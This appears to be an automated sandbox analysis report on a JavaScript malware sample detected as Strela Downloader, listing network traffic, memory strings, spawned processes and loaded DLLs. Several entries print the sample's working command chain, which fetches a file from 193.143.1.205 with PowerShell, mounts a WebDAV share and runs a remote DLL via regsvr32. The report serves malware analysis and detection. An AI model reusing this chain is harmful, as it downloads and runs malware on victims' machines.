Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2042113332.000002329C144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2100729574.000001D12260C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2100729574.000001D1225B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2100729574.000001D1225E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2100729574.000001D1225EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2100729574.000001D1225EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-
Source: net.exe, 00000007.00000002.2100729574.000001D1225EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/h
Source: svchost.exe, 00000009.00000002.3324617787.0000020665A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2103436599.0000020665890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6396, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 17772451271118687.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6008:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhtvlukx.wbz.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1704,i,6202305562876439901,7278822292737129765,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1704,i,6202305562876439901,7278822292737129765,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
